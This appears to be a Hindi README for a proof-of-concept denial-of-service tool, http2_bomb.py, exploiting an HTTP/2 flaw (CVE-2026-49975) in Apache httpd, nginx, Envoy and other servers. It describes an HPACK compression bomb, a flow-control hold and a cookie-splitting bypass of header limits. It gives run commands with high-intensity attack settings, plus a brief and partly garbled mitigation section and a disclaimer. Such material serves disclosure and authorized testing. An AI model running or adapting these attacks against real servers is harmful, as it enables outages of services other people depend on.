
CVE-2026-49975
HTTP/2 रिमोट डिनायल-ऑफ-सर्विस भेद्यता पुनरुत्पादन उपकरण
CVE-2026-49975 एक HTTP/2 डिनायल-ऑफ-सर्विस भेद्यता है जो मुख्यधारा के वेब सर्वरों को प्रभावित करती है। यह भेद्यता सुरक्षा कंपनी Calif (OpenAI Codex का उपयोग करके) द्वारा जून 2026 की शुरुआत में खोजी गई थी।
HPACK कम्प्रेशन बम : सर्वर के HPACK डायनामिक टेबल में एक बहुत छोटा हेडर (जैसे "x: a") डालें, फिर हज़ारों 1-बाइट इंडेक्स रेफरेंस भेजें। प्रत्येक रेफरेंस सर्वर को बड़ी मात्रा में बुककीपिंग मेमोरी आवंटित करने के लिए मजबूर करता है, जबकि क्लाइंट बहुत कम बैंडविड्थ खर्च करता है। मेमोरी एम्प्लीफिकेशन अनुपात ~5700:1 (Envoy) और ~4000:1 (Apache httpd) तक हो सकता है।
Slowloris फ्लो कंट्रोल होल्ड : जीरो-बाइट फ्लो कंट्रोल विंडो के माध्यम से सर्वर को प्रतिक्रिया भेजने से रोकें, और कनेक्शन को जीवित रखने के लिए WINDOW_UPDATE फ्रेम को ड्रिप-फीड करें, जिससे मेमोरी आवंटन "पिन" हो जाता है।
कुकी विभाजन बायपास : बड़े कुकी को कई छोटे टुकड़ों में विभाजित करें, जिससे सर्वर की हेडर संख्या सीमा को बायपास किया जा सके।
| सॉफ्टवेयर | प्रभावित संस्करण | सुधार संस्करण |
|---|
| Apache httpd (mod_http2) | < 2.0.41 | 2.0.41+ |
| nginx | < 1.29.8 | 1.29.8+ |
| OpenResty | nginx < 1.29.8 पर आधारित | 1.29.8+ |
| Envoy (CVE-2026-47774) | ≤ 1.37.2 | 1.35.11, 1.36.7, 1.37.3, 1.38.1+ |
| Microsoft IIS | Windows Server 2025 | कोई पैच नहीं |
| Cloudflare Pingora | डिफ़ॉल्ट कॉन्फ़िगरेशन | कोई पैच नहीं |
यह उपकरण सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए है, जो CVE-2026-49975 भेद्यता के हमले तंत्र को प्रदर्शित करता है।
pip install -r requirements.txt
# बुनियादी हमला
python http2_bomb.py example.com
# स्थानीय HTTP/2 टेस्ट सर्वर के लिए (TLS के बिना)
python http2_bomb.py localhost -p 8080 --no-tls
# उच्च तीव्रता हमला (50 स्ट्रीम, प्रति स्ट्रीम 50000 रेफरेंस)
python http2_bomb.py example.com -s 50 -n 50000
# कुकी विभाजन बायपास सक्षम करें
python http2_bomb.py example.com --cookie-fragments 1000
# त्वरित मोड (भेजने के बाद कनेक्शन न रखें)
python http2_bomb.py example.com --no-hold
| पैरामीटर | विवरण | डिफ़ॉल्ट मान |
|---|---|---|
target | लक्ष्य होस्ट पता | अनिवार्य |
-p, --port | लक्ष्य पोर्ट | 443 |
--no-tls | TLS अक्षम करें | false |
-s, --streams | समवर्ती स्ट्रीम की संख्या | 10 |
-n, --headers-per-stream | प्रति स्ट्रीम हेडर रेफरेंस की संख्या | 10000 |
--cookie-fragments | कुकी विभाजन टुकड़ों की संख्या | 0 |
--stream-delay | स्ट्रीम के बीच भेजने का विलंब (सेकंड) | 0.01 |
--window-update-interval | WINDOW_UPDATE भेजने का अंतराल | 5.0s |
--no-hold | भेजने के बाद कनेक्शन न रखें | false |
--timeout | Socket टाइमआउट | 30 |
स्थानीय सत्यापन के लिए test_server.py का उपयोग करके एक सरल HTTP/2 सर्वर प्रारंभ करें:
# स्व-हस्ताक्षरित प्रमाणपत्र जेनरेट करें
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes
# टेस्ट सर्वर प्रारंभ करें
python test_server.py --port 8443
# हमला चलाएँ
python http2_bomb.py localhost -p 8443
तत्काल शमन : यदि तुरंत पैच लागू नहीं कर सकते, तो अस्थायी रूप से HTTP/2 अक्षम करें
Protocols http/1.1http2 off;पैच अपग्रेड :
कॉन्फ़िगरेशन सुदृढ़ीकरण :
max_headers सीमा सेट करें (nginx 1.29.8+ में डिफ़ॉल्ट 1000)निगरानी और अलर्ट :
⚠️ यह उपकरण केवल सुरक्षा अनुसंधान और अधिकृत पेनिट्रेशन परीक्षण के लिए है।
बिना प्राधिकरण के दूसरों के सिस्टम पर इस उपकरण का उपयोग करना अवैध है। उपयोगकर्ताओं को स्थानीय कानूनों और विनियमों का पालन करना चाहिए, और केवल उन लक्ष्यों का परीक्षण करना चाहिए जिनके लिए उनके पास वैध प्राधिकरण है।
MIT License - सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए।